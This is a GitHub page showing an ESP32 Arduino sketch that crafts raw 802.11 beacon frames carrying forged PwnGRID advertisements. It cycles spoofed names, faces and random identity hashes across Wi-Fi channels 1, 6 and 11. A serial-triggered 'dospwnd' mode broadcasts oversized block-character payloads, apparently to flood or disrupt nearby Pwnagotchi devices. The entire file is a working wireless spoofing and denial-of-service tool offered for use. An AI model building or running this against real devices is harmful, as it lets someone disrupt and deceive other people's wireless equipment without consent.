-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathPwnagotchi-PwnGRID-Spam-standalone-esp32.ino
216 lines (192 loc) · 8.91 KB
/
Pwnagotchi-PwnGRID-Spam-standalone-esp32.ino
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
#include "ArduinoJson.h"
#include "esp_wifi.h"
#include "esp_wifi_types.h"
#include "nvs_flash.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "driver/uart.h"
#define SERIAL_PORT UART_NUM_0
#define SERIAL_BAUDRATE 115200
volatile bool stop_beacon = false;
volatile bool dos_pwnd = false;
volatile bool change_identity = false;
// Define the raw beacon frame
const uint8_t beacon_frame_template[] = {
0x80, 0x00, // Frame Control
0x00, 0x00, // Duration
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination Address (Broadcast)
0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // Source Address (SA)
0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // BSSID
0x00, 0x00, // Sequence/Fragment number
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Timestamp
0x64, 0x00, // Beacon interval
0x11, 0x04 // Capability info
};
// Function to generate a random string that resembles a SHA-256 hash
String generate_random_identity() {
const char hex_chars[] = "0123456789abcdef";
String random_identity = "";
for (int i = 0; i < 64; ++i) {
random_identity += hex_chars[random(0, 16)];
}
return random_identity;
}
// Function to send the beacon frame
void send_beacon(uint8_t channel, const char* face, const char* name) {
DynamicJsonDocument json(2048);
json["pal"] = true;
json["name"] = name;
json["face"] = face;
json["epoch"] = 1;
json["grid_version"] = "1.10.3";
if (change_identity) {
json["identity"] = generate_random_identity();
} else {
json["identity"] = "32e9f315e92d974342c93d0fd952a914bfb4e6838953536ea6f63d54db6b9610";
}
json["pwnd_run"] = 0;
json["pwnd_tot"] = 0;
json["session_id"] = "a2:00:64:e6:0b:8b";
json["timestamp"] = 0;
json["uptime"] = 0;
json["version"] = "1.8.4";
json["policy"]["advertise"] = true;
json["policy"]["bond_encounters_factor"] = 20000;
json["policy"]["bored_num_epochs"] = 0;
json["policy"]["sad_num_epochs"] = 0;
json["policy"]["excited_num_epochs"] = 9999;
String json_str;
serializeJson(json, json_str);
uint16_t json_len = json_str.length();
uint8_t header_len = 2 + ((json_len / 255) * 2);
uint8_t beacon_frame[sizeof(beacon_frame_template) + json_len + header_len];
memcpy(beacon_frame, beacon_frame_template, sizeof(beacon_frame_template));
// Add JSON data to the beacon frame
int frame_byte = sizeof(beacon_frame_template);
for (int i = 0; i < json_len; i++) {
if (i == 0 || i % 255 == 0) {
beacon_frame[frame_byte++] = 0xde; // AC = 222
uint8_t payload_len = 255;
if (json_len - i < 255) {
payload_len = json_len - i;
}
beacon_frame[frame_byte++] = payload_len;
}
beacon_frame[frame_byte++] = (uint8_t)json_str[i];
}
// Set the channel and send the frame
esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
esp_wifi_80211_tx(WIFI_IF_AP, beacon_frame, sizeof(beacon_frame), false);
// Print the feedback to the serial monitor
Serial.printf("Beacon sent:\nChannel: %d\nFace: %s\nName: %s\n--------------\n", channel, face, name);
}
// Task to send beacon frames with changing face, name, and channel
void beacon_task(void* pvParameters) {
const char* regular_faces[] = {
"(STOP)", "♬♪♬♪♬♪♬", "(X‿‿X)", "(u W u)", "(EVIL)", "(.)(.)", "ლ(o_oლ)", "(O﹏o)", "(✖╭╮✖)", "SKIDZ!", "(ɹoɹɹƎ)", "(H4cK)", "NOPWND!\n■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■",
};
const char* regular_names[] = {
"Check Evil-M5Project", "┌∩┐(◣_◢)┌∩┐", "(╯°□°)╯╭╮(XoX)", "STOP DEAUTH SKIDZ!", "System Breached oups", "Unauthorized Access", "Security Compromised.. reboot", "Warning...Evil-M5 here", "Critical Error need reboot", "No more Battery", "Never gonna give you up", "Never gonna let you down", "Never gonna run around", "and desert you", "Never gonna make you cry", "Never gonna say goodbye", "Never gonna tell a lie", "and hurt you"
};
const char* pwnd_faces[] = {
"NOPWND!\n■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■"
};
const char* pwnd_names[] = {
"■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■"
};
const uint8_t channels[] = {1, 6, 11}; // List of Wi-Fi channels to use
const int num_regular_faces = sizeof(regular_faces) / sizeof(regular_faces[0]);
const int num_pwnd_faces = sizeof(pwnd_faces) / sizeof(pwnd_faces[0]);
const int num_channels = sizeof(channels) / sizeof(channels[0]);
while (true) {
if (!stop_beacon) {
if (dos_pwnd) {
// Send PWND beacons
for (int i = 0; i < num_pwnd_faces; ++i) {
for (int ch = 0; ch < num_channels; ++ch) {
if (stop_beacon) {
break;
}
send_beacon(channels[ch], pwnd_faces[i], pwnd_names[i]);
vTaskDelay(200 / portTICK_PERIOD_MS); // Wait 200 ms
}
}
} else {
// Send regular beacons
for (int i = 0; i < num_regular_faces; ++i) {
for (int ch = 0; ch < num_channels; ++ch) {
if (stop_beacon) {
break;
}
send_beacon(channels[ch], regular_faces[i], regular_names[i]);
vTaskDelay(200 / portTICK_PERIOD_MS); // Wait 200 ms
}
}
}
} else {
vTaskDelay(1000 / portTICK_PERIOD_MS); // Wait 1 second before checking again
}
}
}
// Task to read serial commands
void serial_task(void* pvParameters) {
char command[32];
while (true) {
if (Serial.available() > 0) {
int len = Serial.readBytesUntil('\n', command, sizeof(command) - 1);
command[len] = '\0'; // Add null terminator
if (strcmp(command, "stop") == 0) {
stop_beacon = true;
Serial.println("Beacon transmission stopped.");
} else if (strcmp(command, "start") == 0) {
stop_beacon = false;
Serial.println("Beacon transmission started.");
} else if (strcmp(command, "dospwnd") == 0) {
dos_pwnd = true;
stop_beacon = false;
Serial.println("PWND Beacon transmission started.");
} else if (strcmp(command, "stopdospwnd") == 0) {
dos_pwnd = false;
stop_beacon = false;
Serial.println("Regular Beacon transmission started.");
} else if (strcmp(command, "randomid") == 0) {
change_identity = !change_identity;
Serial.printf("Change Identity %s.\n", change_identity ? "enabled" : "disabled");
} else if (strcmp(command, "help") == 0) {
Serial.println("Available commands:");
Serial.println(" stop - Stop beacon transmission");
Serial.println(" start - Start beacon transmission");
Serial.println(" dospwnd - Start PWND beacon transmission");
Serial.println(" stopdospwnd - Stop PWND beacon transmission");
Serial.println(" randomid - Toggle random identity generation");
Serial.println(" help - Show this help message");
} else {
Serial.println("Unknown command. Type 'help' for a list of commands.");
}
}
vTaskDelay(100 / portTICK_PERIOD_MS); // Wait 100 ms
}
}
void setup() {
// Initialize NVS
esp_err_t ret = nvs_flash_init();
if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) {
ESP_ERROR_CHECK(nvs_flash_erase());
ret = nvs_flash_init();
}
ESP_ERROR_CHECK(ret);
// Initialize Wi-Fi configuration
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
ESP_ERROR_CHECK(esp_wifi_set_storage(WIFI_STORAGE_RAM));
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP));
ESP_ERROR_CHECK(esp_wifi_start());
// Initialize the serial interface
Serial.begin(SERIAL_BAUDRATE);
// Create tasks
xTaskCreate(&beacon_task, "beacon_task", 4096, NULL, 5, NULL);
xTaskCreate(&serial_task, "serial_task", 2048, NULL, 5, NULL);
}
void loop() {
// Do nothing here, tasks are running in FreeRTOS
}